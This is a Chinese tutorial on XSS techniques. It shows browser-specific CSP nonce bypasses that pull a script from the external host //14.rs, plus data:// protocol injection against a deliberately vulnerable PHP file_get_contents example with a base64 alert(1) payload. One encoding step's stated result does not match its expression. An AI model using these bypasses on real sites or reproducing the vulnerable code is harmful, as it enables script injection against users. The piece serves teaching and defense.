XSS--CSP绕过【firefox和chrome】和data://协议的使用
字数 1038 2025-08-26 22:11:57
XSS绕过CSP策略及data://协议使用详解
1. CSP绕过技术
1.1 基本概念
CSP(Content Security Policy)是一种安全策略,用于减轻XSS攻击的影响。当网站设置了CSP策略后,浏览器会限制脚本的执行来源。
1.2 带有nonce的CSP绕过
对于带有nonce的CSP策略,通常可以使用以下方法绕过:
Firefox绕过方法
<script src=//14.rs a="</p><script id="
Firefox会优先解析a属性后面的引号,将</p><script id=解析为字符串,从而成功引入带有nonce的script标签。
Chrome绕过方法
Chrome对标签的解析方式不同,需要利用HTML5属性解析特性:
方法一:
<script src=//14.rs a="test" a="
Chrome会忽略第二个a属性及其后面的内容。
方法二:
<script src=//14.rs src="
Chrome会忽略第二个src属性及其后面的内容。
1.3 关键差异
- Firefox:优先解析属性引号,将后续内容视为字符串
- Chrome:忽略同名的后续属性
2. data://协议的使用
2.1 基本概念
data://协议允许直接在URL中嵌入数据,格式为:
data:[<mediatype>][;base64],<data>
2.2 XSS利用场景
当遇到以下情况时,data://协议特别有用:
- 内容通过
htmlspecialchars()转义后保存到文件 - 转义后的内容输出到HTML标签之间
2.3 实际案例
假设有以下PHP代码:
getnote.php:
<!DOCTYPE html>
<html>
<head>
<title>dataXSS</title>
</head>
<body>
<form action="upnote.php" method="post">
<p>note:</p>
<input type="text" name="note">
<input type="submit" name="submit">
</form>
<?php
$url = $_GET['url'];
echo "<p>your input url:</p>"."<p>".urldecode(file_get_contents($url))."</p>";
?>
</body>
</html>
upnote.php:
<?php
file_put_contents('url.txt', htmlspecialchars($_POST['note']));
header('location:getnote.php?url=url.txt');
?>
常规XSS尝试失败
直接提交<script>alert(1)</script>会被htmlspecialchars()转义,无法执行。
使用data://协议绕过
构造payload:
getnote.php?url=data://text/plain;base64,JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==
其中JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==是<script>alert(1)</script>的Base64编码。
2.4 编码转换方法
将XSS payload转换为Base64:
// JavaScript代码
<script>alert(1)</script>
// URL编码
%3Cscript%3Ealert(1)%3C/script%3E
// Base64编码
btoa(unescape(encodeURIComponent('<script>alert(1)</script>')))
// 结果: JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==
3. 防御建议
- 谨慎使用
file_get_contents()处理用户输入 - 限制允许的URL协议,禁用data://等危险协议
- 对用户输入进行严格过滤和验证
- 使用更严格的CSP策略,避免仅依赖nonce
4. 总结
- CSP绕过需要针对不同浏览器采用不同策略
- data://协议可以绕过某些过滤机制,直接嵌入恶意代码
- 理解浏览器解析HTML的差异对绕过防御至关重要
- 防御方应实施多层防护,不依赖单一安全机制